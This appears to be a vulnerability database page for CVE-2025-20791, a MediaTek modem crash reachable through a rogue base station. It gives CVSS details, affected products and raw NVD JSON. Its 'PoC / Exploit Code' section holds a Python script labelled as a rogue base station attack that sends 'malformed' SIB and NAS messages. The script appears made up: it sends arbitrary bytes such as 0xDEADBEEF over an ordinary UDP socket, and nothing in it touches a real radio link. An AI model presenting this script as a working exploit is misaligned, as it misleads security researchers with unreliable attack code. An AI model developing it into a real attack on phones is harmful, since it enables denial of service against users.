CVE-2025-20791

Description

In Modem, there is a possible system crash due to incorrect error handling. This could lead to remote denial of service, if a UE has connected to a rogue base station controlled by the attacker, with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: MOLY01661189; Issue ID: MSV-4298.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:mediatek:nr15:-:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:mediatek:mt2735:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:h:mediatek:mt6833:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:h:mediatek:mt6833p:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:h:mediatek:mt6853:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:h:mediatek:mt6853t:-:*:*:*:*:*:*:* - NOT VULNERABLE

MediaTek Modem (固件版本 < MOLY01661189补丁版本)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/env python3
# CVE-2025-20791 PoC - Rogue Base Station Attack
# This PoC simulates a rogue base station that sends malformed
# messages to trigger the modem error handling vulnerability

import socket
import struct
import time

class RogueBaseStation:
    def __init__(self, pci=1, tac=256, earfcn=100):
        self.pci = pci  # Physical Cell ID
        self.tac = tac  # Tracking Area Code
        self.earfcn = earfcn  # E-UTRA Absolute Radio Frequency Channel Number
        
    def send_malformed_sib(self, sock, client_addr):
        # System Information Block (SIB) with malformed data
        # This triggers incorrect error handling in MediaTek modem
        sib_data = bytes([
            0x00, 0x01, 0x02, 0x03,  # SIB header
            0xFF, 0xFF, 0xFF, 0xFF,  # Malformed scheduling info
            0x00, 0x00, 0x00, 0x00,
            0xAB, 0xCD, 0xEF, 0x00   # Invalid value causing error handling bug
        ])
        sock.sendto(sib_data, client_addr)
        
    def send_crash_trigger(self, sock, client_addr):
        # Send specially crafted NAS message to trigger crash
        nas_message = bytes([
            0x02, 0x00, 0x00, 0x00,  # NAS header - Service Request
            0x00, 0x00, 0x00, 0x00,  # Sequence number
            0xFF, 0xFF, 0xFF, 0xFF,  # Invalid KSI
            0x00, 0x01, 0x02, 0x03,  # Trigger sequence
            0xDE, 0xAD, 0xBE, 0xEF,  # Crash trigger pattern
            0x00, 0x00, 0x00, 0x00,
            0x00, 0x00, 0x00, 0x00
        ])
        sock.sendto(nas_message, client_addr)
        
    def start_attack(self, target_ip='127.0.0.1', target_port=38412):
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        sock.bind(('0.0.0.0', target_port))
        
        print(f'[*] Rogue Base Station started')
        print(f'[*] PCI: {self.pci}, TAC: {self.tac}, EARFCN: {self.earfcn}')
        print(f'[*] Listening on {target_ip}:{target_port}')
        
        while True:
            try:
                data, addr = sock.recvfrom(4096)
                print(f'[*] Received connection from {addr}')
                
                # Send malicious SIB
                self.send_malformed_sib(sock, addr)
                time.sleep(0.5)
                
                # Send crash trigger
                self.send_crash_trigger(sock, addr)
                print(f'[+] Malicious messages sent to {addr}')
                
            except KeyboardInterrupt:
                print('\n[*] Attack stopped')
                break
            except Exception as e:
                print(f'[-] Error: {e}')
                
        sock.close()

if __name__ == '__main__':
    attacker = RogueBaseStation()
    attacker.start_attack()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-20791
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-20791
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-20791/
[4] VulDB https://vuldb.com/cve/CVE-2025-20791
[5] https://corp.mediatek.com/product-security-bulletin/December-2025

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-20791", "sourceIdentifier": "[email protected]", "published": "2025-12-02T03:16:20.050", "lastModified": "2026-02-17T15:16:17.633", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "In Modem, there is a possible system crash due to incorrect error handling. This could lead to remote denial of service, if a UE has connected to a rogue base station controlled by the attacker, with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: MOLY01661189; Issue ID: MSV-4298."}, {"lang": "es", "value": "En el Módem, existe una posible caída del sistema debido a un manejo de errores incorrecto. Esto podría llevar a una denegación de servicio remota, si un UE se ha conectado a una estación base maliciosa controlada por el atacante, sin necesidad de privilegios de ejecución adicionales. No se necesita interacción del usuario para la explotación. ID del parche: MOLY01661189; ID del problema: MSV-4298."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-617"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:mediatek:nr15:-:*:*:*:*:*:*:*", "matchCriteriaId": "E30A2D2E-6A72-4070-A471-EEE75F7D07F2"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt2735:-:*:*:*:*:*:*:*", "matchCriteriaId": "7F1D09FC-5BE9-4B23-82F1-3C6EAC5711A6"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6833:-:*:*:*:*:*:*:*", "matchCriteriaId": "9814939B-F05E-4870-90C0-7C0F6BAAEB39"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6833p:-:*:*:*:*:*:*:*", "matchCriteriaId": "CB690F5A-9367-45D3-A53E-80BF60053630"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6853:-:*:*:*:*:*:*:*", "matchCriteriaId": "366F1912-756B-443E-9962-224937DD7DFB"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6853t:-:*:*:*:*:*:*:*", "matchCriteriaId": "328DA6BE-1303-4646-89B7-2EC8DC444532"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6855:-:*:*:*:*:*:*:*", "matchCriteriaId": "89AFEE24-7AAD-4EDB-8C3E-EDBA3240730A"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6855t:-:*:*:*:*:*:*:*", "matchCriteriaId": "083F6134-FF26-4F1B-9B77-971D342AF774"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6873:-:*:*:*:*:*:*:*", "matchCriteriaId": "F6B8A36E-C5FB-44AE-A1C3-50EBF4C68F6B"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6875:-:*:*:*:*:*:*:*", "matchCriteriaId": "80BDC5EC-E822-4BC7-8C0D-E8AD8396E8FE"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6875t:-:*:*:*:*:*:*:*", "matchCriteriaId": "F883C6D3-1724-4553-9EFC-3D204FF3CAA3"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6877:-:*:*:*:*:*:*:*", "matchCriteriaId": "7CA9352F-E9BD-4656-9B7C-4AFEE2C78E58"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6877t:-:*:*:*:*:*:*:*", "matchCriteriaId": "EFA54AA1-4E3A-44F8-A222-31C60F8F81DA"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6877tt:-:*:*:*:*:*:*:*", "matchCriteriaId": "5D4D6885-E18C-477F-8B6D-B9E84D9535E2"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6880:-:*:*:*:*:*:*:*", "matchCriteriaId": "68CF4A7A-3136-4C4C-A795-81323896BE11"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6883:-:*:*:*:*:*:*:*", "matchCriteriaId": "15E2EC3F-9FB3-488B-B1C1-2793A416C755"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6885:-:*:*:*:*:*:*:*", "matchCriteriaId": "DD64413C-C774-4C4F-9551-89E1AA9469EE"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6889:-:*:*:*:*:*:*:*", "matchCriteriaId": "3B787DC3-8E5A-4968-B20B-37B6257FAAE2"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6890:-:*:*:*:*:*:*:*", "matchCriteriaId": "171D1C08-F055-44C0-913C-AA2B73AF5B72"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6891:-:*:*:*:*:*:*:*", "matchCriteriaId": "D8E91CA4-CA5B-40D1-9A96-2B875104BCF4"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6893:-:*:*:*:*:*:*:*", "matchCriteriaId": "213B5C7F-D965-4312-9CDF-4F06FA77D401"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt8675:-:*:*:*:*:*:*:*", "matchCriteriaId": "03E6123A-7603-4EAB-AFFB-229E8A040709"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt8771:-:*:*:*:*:*:*:*", "matchCriteriaId": "0D09F23D-D023-4A60-B426- ... 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